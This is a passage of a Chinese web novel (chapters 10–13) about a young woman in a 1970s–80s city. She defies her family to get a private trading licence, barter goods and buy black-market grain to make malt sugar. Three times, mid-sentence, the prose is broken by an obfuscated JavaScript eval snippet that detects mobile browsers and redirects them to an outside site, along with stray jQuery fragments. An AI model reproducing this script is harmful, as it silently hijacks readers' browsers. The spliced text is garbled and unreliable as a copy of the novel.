他们听到曾庆良说的,心想是不是曾舒仪和男人搞破鞋? 不然怎么说丢人的事? 曾舒仪扫了眼屋子,确实,这房子是棉纺厂分给她爸的。 曾舒仪转头走了。 她拉开门,头都没回。 “舒仪!”林家珍跑出来时,巷子口已经没有女儿的身影,她大声喊道,“舒仪,你去哪里了?” 巷子里的其他人跟过来,问怎么了。 “庆良媳妇,我听你男人说舒仪丢人了,她干啥了?”刘喜旺第一个开口,“小姑娘可要教育好,舒仪那么漂亮,不能让她走了歪路。” 许招娣也道,“是啊家珍,你们家舒仪到底干什么了,让你男人那么生气?” 林家珍心里担心女儿,哭着答不上来。 还是施英华跑出来,“嫂子,你家这是怎么了?” “舒……舒仪她……”林家珍说不出口。 这时曾庆良出来,拉着林家珍往家去,一遍黑着脸和其他人道,“我家的事不用你们多管闲事,以后我就当没她这个女儿!” 一听这话,大家更好奇了。 “你们说,舒仪会不会未婚先孕了?”刘喜旺八卦地看着其他人。 施英华板着脸,“我说刘叔,你嘴上积点德吧。人家舒仪好好的一个姑娘,只不过和家里吵架而已,你都不懂什么事,就这样说她,万一不是未婚先孕,你让人小姑娘以后怎么做人?” 刘喜旺讪讪的:“我又没说是,我是在询问啊。你干嘛那么厉害,大家伙也是在关心舒仪。” “真关心还是假关心,你自己心里清楚。”施英华不再搭理刘喜旺等人,而是去曾家了解情况,得知曾舒仪是因为卖冰棍和家里吵架,她稍微松口气,“孩子有错可以教育,不好动不动赶人走。你们看现在天黑了,舒仪一个小姑娘,她能去哪?” 曾庆良到这会,也有点后悔赶女儿走,但他放不下面子,嘀咕道,“她姑姑也在榕城,肯定去她姑姑家。” “有地方去就好,你们回头好好和舒仪说,不然出事了,有你们后悔的时候。” 说完,施英华又去看王娟,“咱们做人得将心比心,你也是有女儿的,以后你还有其他孩子,容不下你女儿,你心里怎么想?王娟呐,做人要有良知,不然会有报应的。” 王娟没想到施英华会数落自己,她愣了会,回神时施英华已经走了,气鼓鼓地回房间,和曾向平抱怨,“你说施英华是不是脑子被驴踢了,我是为了避免舒仪犯更大错误,难不成还做错了?” 曾向平正在做题,刚才他们吵架,他就没出去管,现在也不想听王娟说这些,“你去厨房看看,怎么还不开饭,我饿了。” 他吃完饭,还要去夜校,什么事都不能耽误自己读书。这次,他一定 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16020881|178520||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要考上大学。 “你!你怎么不关心我一下?”王娟很委屈。 “你要我怎么关心?”曾向平不耐烦地放下笔,“你难道不知道,我最重要的事是读书吗?” “好好好,知道了。我去看看怎么回事。”王娟去了厨房,发现饭已经糊了,菜更没炒。 听到婆婆在房间和公公哭,只好去喊曾舒月下点面条,先让她男人吃饱好读书。 曾家人以为曾舒仪一定去了姑姑家,因为两家不算太远,走半个小时就能到。 林家珍本来想去小姑子家看看,但被曾庆良拉住,让她明天再去,说要晾一下曾舒仪,才会让曾舒仪知道错。 事实上,曾舒仪一开始是打算去姑姑家。 她带着一肚子火气离开家,走到半路肚子饿了,才发现自己一直提着卤猪头肉。 找了个没人的地方,曾舒仪一边吃猪头肉,才一边流泪。 但她很快忍住眼泪,“哭又没用,不许哭!” 她才不会低头妥协,既然迈出第一步,绝对不会退缩! 吃完猪头肉,曾舒仪看天快黑了,步子快了许多。 只是曾舒仪今天运气不太好,姑姑家怎么敲门都没人,还是隔壁邻居出来道,“你找你姑姑啊,他们家今天去乡下了,不在家里。” 这下怎么办? 曾舒仪看着月亮高升,在姑姑家门口踌躇许久,没有介绍信,招待所不会开房间。 要不然,在姑姑家院子里将就一晚上? 曾舒仪突然庆幸现在不冷,在她翻墙时,一个熟悉的声音叫住她。 “舒仪姐,你……你在干嘛?”白多多看着爬上墙头的曾舒仪,不解地仰头望着。 曾舒仪尴尬地笑了下,她说没啥,“这是我姑姑家。” “可是这户人家好像不在家,可能临时出去了。我家在边上,你要不要先去我家坐坐?”白多多热情地邀请曾舒仪,“没关系的,我爸和我哥他们都不在家,只有我和我妈。” 刚说完,她发现曾舒仪脸颊有细长的抓痕,看曾舒仪哭过,敏感地捕捉到曾舒仪的状态,“舒仪姐,你是不是和家里吵架?” 被看出来就没必要隐瞒了,曾舒仪简单说了下事情经过,“说起来,你家怎么就不怕被人说道,一家子都卖茯苓膏?” “因为缺钱,缺到一天两顿都吃不饱,就不会在意面子问题。”白多多在前面带路,“我爸上班时,手指被机器压了,再也干不了技术工,工资减半后,我妈又生病。说出来不怕你笑话,那会我饿得偷邻居的垃圾吃。” “舒仪姐,你今晚和我住吧,等你姑姑回来再说。”白多多推开家里的门,昏黄的电灯下,她妈正在缝补衣服,“妈,舒仪姐来了,她今晚和我睡。” 朱夏薇得知怎么回事后,劝了句,“舒仪啊,找个机会和家里好好谈谈。你爸妈现在不理解,但他们也是怕你被人说闲话,日子久了,他们会明白的。” 她又让白多多去煮面,“舒仪应该没吃饭,给她下两个鸡蛋。” “阿姨,我吃过了。”曾舒仪吃了卤猪头肉。 “吃过也再吃一点,你是客人,不能……咳咳……不能让你饿着肚子睡觉。”朱夏薇眯着眼睛穿针,曾舒仪主动帮忙。 简简单单的鸡蛋面,曾舒仪吃得心里暖暖的,看到朱夏薇,她不由想起她妈。 这一晚,曾舒仪辗转反侧,第二天一早去了姑姑家,看姑姑还没回来,只好先去干活。 一早上,曾舒仪都有点不在状态,直到快中午,恍惚中听到一声“舒仪”,回头确认是她妈时,唇角不由自主地抿紧。 林家珍跑得满头大汗,紧紧拉住女儿的手,她眼睛布满红血丝,浑身都在颤抖,“走,跟妈回家。你爸不能赶你走,那也是我的家。其他事我能忍,这个不行,绝对不行!” 11. 第 11 章 “妈!”曾舒仪另一只手还抱着泡沫箱,被她妈拽得踉跄。 看到紧接着跑来的二姐,便知道怎么回事。 “不要说话,跟我回家!”林家珍少有的强硬,她一晚上没睡着,跑到小姑子家,结果女儿不在。想到女儿一晚上没地方去,她当时慌得快疯了。 曾舒仪被她妈吓到,没再说话,默默跟着回家。 到家时,其他人都去上班,只剩下曾向民。 林家珍让二女儿看着三女儿,她则是去厨房煮面条,很快端着面条出来,“吃饭,吃完再说。” 曾舒仪没见过那么强势的妈妈,刚喊一句“妈”,就看到她妈嘴唇发颤地让她吃饭。 “好好好,我先吃。”曾舒仪也饿了,早早出门卖冰棍,到现在一口饭还没吃。 一碗面条下肚,曾舒仪还没开口,就听她妈问她去哪了昨晚。 “我本来想去姑姑家,但姑姑邻居说姑姑去乡下,后来遇到一起卖东西的朋友,在她家过了一晚上。”曾舒仪如实道。 林家珍皱紧眉头,“男的女的?” “女的,一个小姑娘,是真的,我可以带你们去见她,我真没骗人。”曾舒仪看她妈质疑的眼神,再三发誓。 林家珍这才松口气,坐在椅子上抹眼泪。 曾舒月在一旁小声道,“天没亮,妈就去姑姑家找你。得知姑姑一家不在,她怕你出事,一路跑着回来,你看妈的裤腿都摔破了。舒仪,我知道你想努力,但你也心疼心疼妈,她……她那么能忍的一个人,为了你的事,昨晚和爸吵了一晚。” 曾舒仪垂下头,看到她妈膝盖被磨破,再张口时,语气带了哽咽,“妈,我……我帮你看看。” “不用。”林家珍把手放在膝盖上,“我问你,你是铁了心干投机倒把吗?” 曾舒仪愣了下,随后点头道,“我等不到工作分配,自己去找工作得花钱、找关系,我们家什么情况,你也知道,不可能给我找到工作的。” “至于嫁人,我自己没有本事,嫁给什么人,都要伸手和丈夫要钱,妈,你懂的啊,这种日子真的不好过。” 林家珍这几年的日子,就是这样看人脸色。 以前她也有工作,自己有工资,有时候想吃个零嘴就去买。后来把工作让给大儿子,她成了家庭主妇,曾庆良倒是月月上交工资,但她怎么花钱,曾庆良都要一一过问。 家庭主妇的个中心酸,林家珍自己也懂。 曾舒仪替她妈卷起裤腿,接过二姐拿来的红药水,“我知道,做生意的名声不好听。但是日子苦哈哈的就好吗?” “从小我在家不得宠,爷爷奶奶看重大哥,后来有了弟弟,我爸眼里只有这两个儿子了。妈,我不偷不抢,只是想让自己过好日子,现在政策允许,不是以前那个年代了,你……你相信我好吗?” 女儿们的不容易,林家珍都看在眼里,“可是舒仪,你知道你去做生意,巷子里的人会怎么说吗?” “那就让他们说呗,等我有钱了,他们自然会羡慕。你看王朝阳,他家现在日子差别多大?”曾舒仪再次坚定自己的想法,“爸不可能拿钱给我复读,我也不想随便嫁个碌碌无为的男人。妈,我想为自己拼一次,你支持我吧,好吗?” “你……你怎么那么犟!”林家珍看女儿哭,她也哭,紧紧抱住了女儿,“你干嘛就不听我的呢?” 曾舒仪不说话了。 母女三人只剩叹气。 曾向民适时插一句嘴,“我支持三姐,倒买倒卖哪里丢人了?我看啊,是以前的政策不对,并不是我和三姐的思想有问题。资本主义怎么了,靠自己本事挣钱多光荣,难不成宁愿饿死,也不做生意吗?” “哎呦喂,你快给我闭嘴!”林家珍瞪了眼小儿子,“这种话被人听到,咱家都得完蛋!” 曾向民撇撇嘴,往椅子后面靠去的同时,翘起二郎腿,“妈,你是知道我三姐的,她比谁都犟。我劝你出钱给三姐办个证,不然无证经营,迟早被抓紧去。” 说这话,他也有私心。他因为在学校倒买倒卖被开除,后来家里看得紧,不许他再和那些朋友来往。如果他妈支持三姐做生意,也就没理由关着他了。 其实林家珍早有想法,只是想再看看女儿的态度。 “罢了,我是拧不过你。”林家珍回房间拿了三十块钱,“你拿去办个证,但你要和我保证,证办下来之前,不能去投机倒把,听到没有?” 曾舒仪看着眼前的钱,不可思议道,“妈,你真给我?” “我不给你钱,你肯定去搞非法经营。舒仪,妈胆小,怕你们出事得很。上次向民被退学,我几天几夜不会睡,你就听妈的,好吗?”林家珍恳求道。 曾舒仪自然愿意听话,“可是爸那里,能同意吗?” 林家珍性格软糯,平常家里大事小事都是曾庆良说了算,现在那么大的事,曾舒仪觉得她妈做不了主。 林家珍却道,“我的孩子,都得好好活着。你爸不同意也没用,钱我已经给你了,有本事他打死我。” 嘴上这么说,林家珍心里是怂的,但不这样,她真怕女儿会被抓去劳改。她让女儿快点去□□,免得夜长梦多。 曾舒仪也是这么想,只是做什么生意呢? 带着钱和证件出门没多久,曾舒仪听到弟弟的喊声,以为是家里有什么事,结果是弟弟要跟着一块去。 “三姐,你带着我一起呗?”曾向民狗腿地跟着,“你看看我胳膊,有力得很!你一个姑娘做生意,肯定有人欺负你,如果有我在就不一样,我打架可厉害了!” 看姐姐不说话,干脆搂住姐姐胳膊撒娇,“哎呀三姐,你就带着我一起呗,求求你了,我的好三姐!” 曾舒仪:“昨天爸要打我的时候,怎么不见你帮我说一句话?” “昨天是我不对,今天爸下班回来,我一定挡在你前面!可以吗?”曾向民知道他爸性格,等回来后,一定会大发雷霆。 曾舒仪看了眼弟弟,十六岁的半大小子,现在没书读,又没个正经事干,长此以往下去,再和以前那些二流子混,迟早要出事。 而且有句话弟弟说得对,让她一个人去走街串巷卖东西,现在想起来,心里有点怕的。 她故意拖长尾音,“那看你表现。” “好嘞好嘞,你要我往东,我绝不往西。”曾向民乐开了花。“三姐,你要做什么生意?吃食?还是修理?” 想到能做生意,曾向民雀跃得很,黏糊糊地跟着他姐边上。 曾舒仪想了想,她没有做吃食的手艺,也没人会教她。 那天白多多夸她能说会道,她现在可以□□,不用怕被抓,本钱便可以追加。曾舒仪已经有了想法,她挑起长眉,“到时候你就知道了。” 曾舒仪姐弟去办个体经营证,曾家那,林家珍的心还在怦怦跳。 快到傍晚时,曾庆良下班回来,随意地问了句,“怎么样,舒仪那丫头回来没?” 林家珍在切菜,“回来了。” “算她识相,她要是再和我犟, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16020882|178520||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我打断她的腿!”曾庆良洗了把手,手上沾了机油,一直洗不掉,“她现在不想做生意了吧?” 林家珍切菜的手顿了下,深吸一口气,“我给她拿钱,让她去办个体经营证了。至于做生意的本钱,她自己出。” “什么?” 曾庆良以为自己听错了,让林家珍再说一遍。 林家珍放下菜刀,“舒仪也是我女儿,既然你劝不动她,我只能顺着她。庆良,再丢人也比女儿跑丢了的好,他们都是我身上掉下来的肉,我不能看着舒仪无家可归。” 她的眼泪说掉就掉,看得曾庆良更懵逼,他还没开始骂人,怎么就哭了? “你……林家珍你……你真是好样的!”曾庆良指着爱人,手在发抖,“你知不知道惯子如害子,你这样做,会让多少人看我们家笑话?” “我不怕被看笑话,我要我的孩子都好好的!”林家珍擦了眼泪,“反正钱我已经给了舒仪,你反对没用了。还有,你要想赶舒仪离开,我就和你拼命。” 曾庆良再次愣住。 他们夫妻二十几年,一直都是曾庆良说什么是什么,这是林家珍第一次反抗曾庆良。 曾庆良半天想不到骂人的话,最后只说了几个好,转身去了房间。 客厅里,王娟夫妇把公婆对话听了个清楚,王娟皱紧眉头,“妈怎么能这样?竟然拿钱给舒仪去办·证,这不是浪费钱么,她怎么不把钱给你补充营养呢?” 曾向平对此也不太满意,“妈老糊涂了,投机倒把怎么比得过上班?” 光是想想,他就觉得丢人。 正好回家的曾舒仪,听到这话,直接推门进屋,“爸妈给大哥开小灶那么多,大哥却还没考上大学,我看这才是浪费钱。大哥大嫂,我现在心情还算可以,不和你们争吵,但你们非要掰扯下谁花了家里多少钱,我不介意坐下来和你们聊聊?” 王娟现在看到曾舒仪,就有点气短,“你……你大哥是儿子,你怎么比得了?而且就你这细胳膊细腿,给你办·证是真的浪费钱,你要是能靠做生意挣大钱,我跪下来给你当凳子坐!” 不争馒头,也要争口气,曾舒仪大声说了句“行”,“那就这么说定了,到时候你别眼红我挣了钱,没你的好处!” “呵呵,我还就不信你有那个本事!向平,你说是吧?” 曾向平点点头,“舒仪,做事别冲动,还没交钱的话,把钱退了,你没那个命的。”他才是家中长子,光宗耀祖的靠他。 “钱已经交了,你们夫妇就等着看吧。”曾舒仪转身去厨房,看到忙碌的妈妈,清了清嗓子,才细声道,“妈,我已经申请了,最快也要等一周。” “嗯。” 林家珍头都没抬,“洗手端菜,这次如果不行,以后不要再闹腾,咱家经不起这样闹。” 曾舒仪说了个“好”,帮着把菜端出去。 吃饭时,曾庆良没出来。 还是林家珍把饭端进屋里,曾庆良才动筷子。 这一天过后,曾家的气氛很是尴尬,曾庆良只和老大两口子说话。 曾舒仪倒是比较自然,曾舒月和曾向民都是夹着尾巴做人,谁都不敢大声喘气。 月底时,曾舒仪去问了一次,对方说还没办好,让她国庆后再来。 答应妈妈不无证经营,曾舒仪只好去各个市场调研,摸清楚各种小商品价格和销售情况。 国庆假期后,曾舒仪立马去了管理局,等她拿到个体经营证,走在阳光下时,感觉空气都是甜的。 12. 第 12 章 有了个体经营证,曾舒仪可以大胆地放开手脚去干。之前卖冰棍,也是想着万一遇到红袖章,随时可以丢了冰棍,反正本钱不高。 她用之前的钱,租了辆自行车,一个月三块钱,剩下的钱全拿去进货。 有针线纽扣这些小东西,也有铅笔作业本,都是些日用品。不过肥皂那些要票的东西,曾舒仪暂且弄不来。 第一天出门时,曾向民屁颠屁颠跟着。 曾舒仪让他推自行车,自己一路叫卖,“针线纽扣,水果糖和铅笔都有!” 他们经过小河边,河里一群妇人在洗衣服,几个小孩听到有人卖水果糖,闹着要吃。 水果糖是一颗一颗卖,一分钱一颗,大部分人都不舍得买给小孩吃。 不过曾舒仪叫得响亮,就有两个小孩撒泼打滚让家里买,家长没办法,拿了两分钱过来。 “你们也真是的,叫那么大声干嘛?现在投机倒把胆子也太大了,不怕被抓吗?”大婶要了两颗水果糖。 曾舒仪拿出自己的个体经营证,“阿姨您看,我们是合法合规,有证件的经营。除了水果糖,我这里还有针线纽扣,全都不要票。” “不看不看,我又不识字,哪里知道是不是合法。”但听说不要票,大婶立马来了兴趣,“你这里的纽扣还挺齐全,还有鞋垫呢,你这些东西,都是从哪里进来的?也是不要票吗?” 若是知道渠道,她直接去买,肯定更便宜。 纽扣是成衣厂的残次品,鞋垫则是布厂淘汰的碎布,她拿回家让家里人做的。 这些东西,她不可能从国营商店进货,不然卖得比国营商店更贵,谁还会从她这里买东西? 曾舒仪筐里的东西,只有水果糖从国营商店进的货,剩下的,全是自己从各种厂子收来的。 这还是多亏她妈和邻居婶子常去买便宜货,她才知道有这些渠道。 当然了,曾舒仪不会和眼前婶子说实话,她笑盈盈道,“婶子,您就看这鞋垫好不好,一双鞋垫费不少功夫,布料针线都是钱,但只卖一毛钱一双,合算得很。” “我不要鞋垫,这玩意我们自己会做。”说话的婶子见没套出话,没意思地走了。 两小孩吃着水果糖,嘴里甜滋滋的,赶忙去和其他小伙伴炫耀。 其他小孩看了也想吃,有人只是巴巴地望着曾舒仪的自行车,也有人被揍,曾舒仪忙着卖货,让弟弟继续推着自行车走。 “小姑娘!” 身后突然有人喊。 曾舒仪转身看到一个老太太,手里拿着一枚鸡蛋,有些不好意思地看着她,“小姑娘,我能不能用鸡蛋,换你的水果糖?” 农贸市场的鸡蛋,在八分到一毛一枚,曾舒仪要挣钱,说可以换四颗水果糖。 “能不能多给一颗,鸡蛋比水果糖贵好多嘞。”老太太和曾舒仪讲价。 曾向民立马说不行,“水果糖也不便宜的。” 但曾舒仪笑着说可以,“看在您是第一个拿鸡蛋来换的,我多给您一颗。” 等老太太走后,曾舒仪看着木框里的鸡蛋,心里立马有了其他想法。 对于普通人家来说,他们没有个体经营证,家里又有工作的,不敢去做买卖。而且很多小东西,特意去卖一次不方便,但是可以从她这里以物换物。 有了这个想法,后面再卖货时,曾舒仪都会加一句,“不给钱买也行,您家里若是有鸡蛋或者麦芽糖,都可以拿来和我换。” 到了傍晚,又能加上两句,“罐头白糖也行,收鞋垫的,六分钱一双,不过得质量好。” 一天下来,曾舒仪算了下,今天没有挣钱,就挣了两个水果罐头、五枚鸡蛋、一两白砂糖和一块半的肥皂。 姐弟俩往家去时,晚霞红透半边天,曾舒仪心情颇好。 “三姐,我们今天都没挣钱,你怎么还很高兴?”曾向民不理解,光看着三姐和人换东西,却见不到钱。 在他看来,有钞票在手里,才是真的挣钱。 “我们今天挣得多了。”曾舒仪道,“不是所有人,手里都有余钱买东西。但是家家户户,都会有些多出来的小东西。你看那一块半肥皂和白砂糖,你去供销社买,都要用票,我们却不用票换来。等我们拿去卖的时候,别人听到不要票,又和供销社一个价格,你说会不会好卖?” “我们以物换物,挣的是个差价。如果我们一直只有那几样小东西,你觉得生意能做好吗?” 今天卖东西时,客人问的好多东西,曾舒仪都没有。她那会就意识到,要想把小百货的生意做好,就得让她的小商品种类变多。 曾向民听得似懂非懂,但他姐说没亏,那就当没亏吧。 姐弟俩快到巷子口,瞧见刘大爷几个在说话,曾向民还有点不自在,眼神躲闪地避开,怕被人笑话。 曾舒仪则是大大方方地过去打招呼,“刘大爷,吃饱了吗?以后需要什么小商品,可以随时来找我,咱们都是邻居,我给你们便宜点。” 刘喜旺起身去看自行车后座上的竹篓,“哟,舒仪你这竹篓里的东西,还真不少。不过舒仪,投机倒把不是犯法吗,你怎么那么大胆?” “诶刘大爷,我可是合法经营,我有证的。你们不用担心和我买东西会被抓,你们看,这是我的证。”曾舒仪拿出个体经营证给其他人看。 她得让人知道,自己是合法经营,免得哪个邻居眼红去举报,到时候麻烦得很。而且邻居们也是潜在客户,她现在只想挣很多钱。 这时王娟下班回来,看到巷口的曾舒仪,小声吐槽一句,“真是不怕丢人。” 她脸颊滚烫,怕被人拉着说闲话,她赶忙往家跑。 回到家里,王娟立马和公婆吐槽,“舒仪也不怕丢人,别人投机倒把都夹着尾巴做人,就她大咧咧站在巷子口,还让刘大爷他们照顾她生意。爸,你是不是该说说她,不然我们的面子往哪里放?” 曾庆良也觉得丢人,但他管不了女儿,干脆不接这话。 林家珍则是默默擦桌子,也没接话。 王娟得了个没趣,气鼓鼓回房间。 等曾舒仪姐弟回家时,曾庆良还是没和曾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16020883|178520||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 舒仪说话,而是叫住小儿子,“我和冯木匠说好了,让你去给他当两年学徒,两年后他会教你木工。” “我不去!我要和我三姐做生意!”曾向民急了。 “做什么生意?这事你妈也同意了,你要是不去,我揍死你!”曾庆良说话时瞥了眼三女儿,“正经学一门手艺才是真的,别想着乱七八糟的事。靠那点破玩意能发财?异想天开!” 曾向民求助地去看三姐,“三姐,你帮我说句话,我不想学木工。” 曾舒仪爱莫能助,她知道爸看重儿子,她可以“胡来”,但两个儿子不行。 不然也不会二姐回城那么久,家里对二姐一点安排都没有,她爸反而给弟弟找到木匠当学徒。 而且曾舒仪做生意本就让她爸不喜欢,再带着弟弟一起反抗,那她爸真会揍她。 “这是你的事,我管不了。”曾舒仪去厨房,帮忙把碗筷端出来。 曾向民在和他爸据理力争,在曾舒仪到客厅时,看到她爸打了曾向民一耳光。 “啪。” 清脆又响亮。 “反了你了,真当我这个一家之主是摆设吗?你不去也得去,家里有一个人被笑话就够了,你要是敢跟着去投机倒把,我打断你的腿!”曾庆良刚说完,对门的许招娣推门时喊了句“舒仪”。 “舒仪,你是不是有白砂糖卖?”许招娣进屋时,才发现曾家氛围不对,抬起来的脚尴尬得不知道要不要落下。 曾舒仪有眼色地拉着许婶子去院子里,把今天换来的白砂糖卖给许婶子。 “你家怎么了,你弟弟又惹事了?”许招娣八卦地问一句。 “没有呢,我爸给向民找了个师父,是好事。”曾舒仪敷衍道。 许招娣:……她才不信呢。 出了曾家大门,她贴着墙站了好一会儿,却没再听到动静,心里直道可惜。不过买到不要票的白砂糖,她今天已经挣到了,心想还好来得快。 只是她怕被人知道,左右看了看,把纸包藏在袖子里才回家去。谁知道曾舒仪说的合法经营,是真的假的? 曾向民不是曾舒仪,他不如曾舒仪狠,在曾庆良两口子轮番劝说下,还是答应去冯木匠那适应一段时间。 等吃过饭后,曾向民特意找过来,“三姐,我就去冯木匠那混几天,等冯木匠烦了我,我就回来跟你做生意。” “得了吧,爸一开口,你跟老鼠见到猫头鹰一样,就差尿裤子了。好好学你的木工,我没指望你。”曾舒仪洗了把脸,当没看到弟弟可怜兮兮的表情,自己回了房间。 等曾舒仪刚坐下,又有两拨人找曾舒仪买白砂糖,得知白砂糖没了,很后悔来迟了。 曾舒仪知道白砂糖紧俏,没想到那么多人都想要,她的心思转了转,又想到一门生意可以做。 第二天一早,曾舒仪骑着自行车去找白多多,白家会做麦芽糖,她家茯苓膏里的甜味就来自麦芽糖。 “多多!”曾舒仪敲响白家大门,看到来开门的白多多,兴奋地道,“你爸妈在家不,我来和你们商量个事!” 13. 第 13 章 一大早的,白家人也刚吃饱。 白多多有两个哥哥,三个姐姐,她是家里最小的。也是朱夏薇两口子意外怀上,后来吃药都没打掉,就取名白多多。 白多多带着曾舒仪进门,同时她哥哥们出门去,进屋时,客厅里她姐在收拾饭桌。 她爸白长松准备去上班,曾舒仪得知后,便长话短说。 “我办了个小杂货的个体经营证,发现糖特别好卖。现在供销社买糖要糖票,我听多多说过,你们家会做麦芽糖,就想来问问,可不可以供混给我卖。”曾舒仪道。 白多多下意识说了行,转头再去看她爸,“爸,你说呢?” 白长松皱眉道,“做麦芽糖很简单,我家也会做红糖、蔗糖,是祖上留下来的手艺。难的是粮食问题,现在的粮食都要票,我家那么多人,每个月的定量都不够吃,还得省出来做茯苓膏。” 顿了顿,他道,“如果你能解决粮食问题,你想要多少糖,我都可以给你做。” 说完,白长松急着去上班。 白多多在一旁道,“做麦芽糖要小麦和糯米,我家每次只做一点点,让茯苓膏有个甜味,拿不出多余的粮食来做。而且麦芽糖不难做,你多问几个上了年纪的人,可能都知道,你在家就能做。” 曾舒仪还真不知道麦芽糖还要糯米,听白家人这么说,还真是这么回事。 原来不是大家不做麦芽糖吃,是原材料上的问题。 但白家的茯苓膏也是米做的,白家定量就是那些,白家又从哪里弄那么多米呢? 曾舒仪心思这么一转,大概知道白家的米从哪里来了,她和白多多熟悉,但白家其他人不见得信任她,自然不会涉险告诉她怎么去黑市买米。 离开白家后,曾舒仪骑车去找她弟弟曾向民。 有些事,曾向民比她清楚多了, 曾向民第一天来当学徒,看到他姐,眼睛刷地亮了,“三姐!你来接我走的吗?” “你觉得呢?”曾舒仪给弟弟使了个眼色,带着弟弟到树荫下,递了个肉包子过去,“怎么样?” “就那样呗,当学徒的都是被骂,师父骂我们,师兄骂新来的,我是最底层,谁都可以骂我。” 曾向民大口吃肉包子,好吃得快哭了,嘴角吃得油乎乎的,“不过你也不用担心,我也不是哑巴,吃不了亏。真好吃三姐,还是跟你去卖货好,自由自在,还能有个盼头。” 曾舒仪笑了,“三姐和你打听个事呗。” 她附耳小声问,“怎么样,知道吗?” “知道,这哪里不知道?我就是因为去黑市倒买倒卖被退学,这里头的事可多了。三姐,你要买粮食啊,你带我去呗,我还认识几个兄弟在黑市干活。”曾向民跃跃欲试,想跟着三姐走。 曾舒仪说不行,“我要带你跑了,爸真会打死我。你就自己默默反抗吧,这个是三姐承你一个人情,等三姐挣钱了,给你买……”低头看到弟弟的凉鞋破破烂烂,拍了拍弟弟胳膊,“给你买新鞋!” “呜呜,我不要新鞋,我想和你做生意。”曾向民一点都不想当学徒,看他三姐走了,哼哼地回厂房。 “你干嘛去了?我告诉你,第一天就偷懒不行啊,你要是不想干,可以和师父说,免费拖累我们!”一个胖胖的师兄,没好气地说曾向民。 曾向民心里本就不爽,愤慨地瞪着对方,“那你去告状,算我求你了,快点去!你要不去,就是王八孙子,八婆一样的男人,难怪二十六岁还娶不到媳妇!” 他巴不得冯木匠赶他走,两年学徒没有工钱,得白白帮冯木匠打工。 主要是,他志不在此。 被曾向民怼的男人当下急了,冲过来要打架,但被其他人给拉住。 曾向民这的事不算什么,曾舒仪骑着自行车去黑市,按照弟弟说的去买粮食,对方听说她是曾向民的姐姐,立马跟着喊了姐。 “向民是我兄弟,他的姐就是我的姐。平常我们卖别人,都要比供销社更贵,但卖给你一样价格。”小伙叫赵福,黑黑胖胖,和曾向民是初中同学。同样被退学后,跟着家里大哥来干卖粮的活。 “那不成,你也要挣钱。”曾舒仪听弟弟说过,赵福他们进货的价格就比粮站更贵,不然农民凭啥冒风险把粮食卖给他们? “我也是买去挣钱的,以后说不定长时间需要供粮,总不能让你一直亏本。”曾舒仪笑盈盈的,她本就生得好看,这一笑,让赵福黝黑的脸颊有些泛红。 赵福不好意思地挠挠头,“那行,我不给你那么便宜,但肯定比别人买更低。”一开始,他以为是曾向民家缺粮食吃,想着几斤粮食,给兄弟让两毛钱也可以。 既然曾家是做生意,他可以安安心心挣钱。 供销社的糯米一毛八一斤,赵福卖给曾舒仪两毛一斤,曾舒仪要了十斤糯米,十斤小麦。 回家后,把小麦和大米交给她二姐,听弟弟说到黑市,她才想到二姐回城时,有带麦芽糖回来。 “舒仪,你这是……”曾舒月不解地看着妹妹。 “二姐,你不是会做麦芽糖吗?”曾舒仪道,“我的小杂货里,糖是最好卖的,我今天跑了一早上,才买来这些米。你来做麦芽糖,等我卖了钱,我给你算工钱。” 正好她二姐现在没工作,而且她们是家人,一起做生意合法合规。 曾舒月,“可是你哪里来的粮食?” “当然是买来的,不然还能是哪里来的?”曾舒仪笑着道,“你放心,规定写了不许雇工,但你和我是姐妹,我给你的是分红,算不上雇工。” “对了,这个事你不要和大嫂说,等她去上班了再做,可以吧?” 曾舒月说可以是可以,“我帮你做就是,我反正在家没事做,不用给我工钱。” 她尽力了,但就是找不到工作,每天在家心里慌得很,有点事做,反而更安心。 “钱肯定要给的,不能让你白忙活,我得去卖货了。”口袋里的钱花了个七七八八,现在只剩下一块多钱,再不去卖货,曾舒仪连下个月生活费都交不上。 把竹筐放在自行车后座上,曾舒仪骑上自行车,一路叫卖,“卖针线纽扣,鞋底喽!” 她现在还和人换粮食,有粮票、肥皂票都行,拿来就能换相对应的东西。 一辆自行车行走在榕城的大街小巷,往后的几天里,曾舒仪越来越熟悉街道情况。 入秋后的榕城很是舒爽,天带着凉丝丝的小风,二姐说再有两天,就能熬糖,曾舒仪算了下手里的钱,又去买了几斤粮食,加上这段日子换来的一起给二姐继续做麦芽糖。 她自个儿,继续骑着自行车去卖货。 这天她刚出门没多久,就被突然跑出来的王杰拦住。 一个急刹车,曾舒仪差点从自行车上摔下来,“你有病啊?” 一段日子没见,王杰憔悴不少,他张开手挡住去路,“是不是你?” 